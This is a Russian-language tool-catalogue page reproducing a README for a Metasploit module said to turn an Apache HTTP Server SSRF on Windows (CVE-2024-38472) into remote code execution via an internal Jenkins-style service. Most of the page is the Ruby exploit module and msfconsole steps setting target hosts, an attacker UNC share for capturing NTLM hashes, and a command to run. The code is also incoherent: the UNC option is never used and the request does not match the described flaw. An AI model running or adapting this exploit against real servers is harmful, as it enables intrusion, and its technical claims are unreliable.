Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-38472 — Metasploit-модуль, который эксплуатирует SSRF в Apache HTTP Server (CVE-2024-38472) на Windows для доступа к внутренним сервисам и достижения удалённого выполнения кода. | Kitploit
Инструменты/GitHubGitHub/abdurahmon3236/cve-2024-38472
Фреймворки для пентестаФреймворки для эксплойтовАнализ уязвимостейЛатеральное перемещениеЭксплуатация веб-приложенийПост-эксплуатацияКомандование и УправлениеRed Teaming
Разработка Полезной Нагрузки
GitHubabdurahmon3236/cve-2024-38472

CVE-2024-38472

Metasploit-модуль, который эксплуатирует SSRF в Apache HTTP Server (CVE-2024-38472) на Windows для доступа к внутренним сервисам и достижения удалённого выполнения кода.

Репозиторий
4172 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Создание модуля Metasploit для удаленного выполнения кода (RCE) на основе уязвимости SSRF (CVE-2024-38472) в Apache HTTP Server на Windows — сложная задача, поскольку сам SSRF напрямую не приводит к RCE. Однако SSRF часто может быть шагом к достижению RCE, особенно если его можно использовать для взаимодействия с внутренними сервисами или для запуска вторичной уязвимости.

Стратегия для RCE через SSRF

Для достижения RCE через SSRF в общем случае потребуются:

  1. Внутренний сервис, уязвимый к конкретной атаке, которую можно эксплуатировать через SSRF.
  2. Неправильная конфигурация или дополнительная уязвимость, позволяющая выполнить произвольный код.

В этом примере предположим, что мы можем запустить внутренний сервис, который принимает HTTP-запросы и может быть обманут для выполнения произвольного кода (например, сервер Jenkins или другой сервис с открытым API).

Пример модуля Metasploit

Мы создадим модуль Metasploit, который пытается достичь RCE, эксплуатируя SSRF для взаимодействия с внутренним сервисом. В данном случае мы смоделируем внутренний сервер Jenkins с открытой консолью скриптов, которую можно использовать для RCE.

Сохраните следующий код как apache_unc_ssrf_rce.rb в каталоге modules/exploits/multi/http вашей установки Metasploit Framework.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache HTTP Server Windows UNC SSRF to RCE',
      'Description'    => %q{
        This module exploits a Server-Side Request Forgery (SSRF) vulnerability in Apache HTTP Server on Windows,
        which can potentially be leveraged to achieve Remote Code Execution (RCE) by interacting with internal
        services like Jenkins.
      },
      'Author'         =>
        [
          'Your Name'  # Your name or handle
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2024-38472'],
          ['URL', 'https://example.com/advisory'] # Replace with an advisory link if available
        ],
      'DisclosureDate' => 'Aug 03 2024',
      'Platform'       => ['win'],
      'Arch'           => [ARCH_CMD],
      'Targets'        => [
        ['Windows', { 'Arch' => ARCH_CMD, 'Platform' => 'win' }]
      ],
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RHOSTS,
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, "The base path to the vulnerable application", '/']),
        OptString.new('UNC_SERVER', [ true, "UNC path of the malicious server to receive NTLM hashes", '\\\\attacker-server\\share']),
        OptString.new('INTERNAL_SERVICE', [ true, "Internal service URL to exploit for RCE", 'http://internal-service/script']),
        OptString.new('CMD', [ true, "Command to execute", 'calc.exe'])
      ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path),
    })

    if res && res.headers['Server'] && res.headers['Server'].include?('Apache')
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    ssrf_payload = {
      'method'  => 'GET',
      'uri'     => normalize_uri(target_uri.path),
      'version' => '1.1',
      'headers' => {
        'Host' => datastore['RHOSTS'],
        'Content-Type' => 'application/x-www-form-urlencoded'
      },
      'data'    => "url=#{datastore['INTERNAL_SERVICE']}?script=#{Rex::Text.uri_encode(datastore['CMD'])}"
    }

    begin
      print_status("Sending SSRF request to #{datastore['RHOSTS']}:#{datastore['RPORT']}#{target_uri.path}")
      res = send_request_cgi(ssrf_payload)

      if res && res.code == 200
        print_good("Successfully triggered the internal service")
      else
        print_error("Failed to trigger the internal service: #{res.inspect}")
      end
    rescue ::Rex::ConnectionError => e
      print_error("Connection failed: #{e.message}")
    rescue ::Interrupt
      print_status("User interrupted the module execution")
    rescue ::Exception => e
      print_error("An unexpected error occurred: #{e.message}")
    end
  end
end

Инструкции по использованию

  1. Сохраните модуль: Сохраните модуль как apache_unc_ssrf_rce.rb в каталоге modules/exploits/multi/http вашей установки Metasploit Framework.

    /path/to/metasploit-framework/modules/exploits/multi/http/apache_unc_ssrf_rce.rb
    
  2. Загрузите Metasploit: Запустите Metasploit Framework, открыв терминал и выполнив:

    msfconsole
    
  3. Используйте новый модуль: В консоли Metasploit загрузите новый модуль эксплуатации с помощью следующей команды:

    use exploit/multi/http/apache_unc_ssrf_rce
    
  4. Настройте и запустите: Задайте необходимые опции, такие как RHOSTS, RPORT, TARGETURI, UNC_SERVER, INTERNAL_SERVICE и CMD. Затем запустите модуль.

    msf6 > use exploit/multi/http/apache_unc_ssrf_rce
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set RHOSTS target_ip
    RHOSTS => target_ip
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set RPORT 80
    RPORT => 80
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set TARGETURI /
    TARGETURI => /
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set UNC_SERVER \\\\attacker-server\\share
    UNC_SERVER => \\attacker-server\share
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set INTERNAL_SERVICE http://internal-service/script
    INTERNAL_SERVICE => http://internal-service/script
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set CMD calc.exe
    CMD => calc.exe
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > run
    

Важные замечания

  • Убедитесь, что у вас есть соответствующие разрешения перед тестированием или эксплуатацией любых систем.
  • Этот модуль предназначен только для образовательных и тестовых целей. Всегда тестируйте в безопасной и контролируемой среде перед использованием на любых производственных системах.

Этот улучшенный модуль Metasploit отправляет специально сформированный запрос к уязвимому серверу Apache HTTP Server на Windows, пытаясь вызвать уязвимость SSRF и использовать её для достижения RCE путём взаимодействия с внутренним сервисом. При необходимости настройте полезную нагрузку и модуль в зависимости от конкретного характера уязвимости и целевой среды.

Скачать инструмент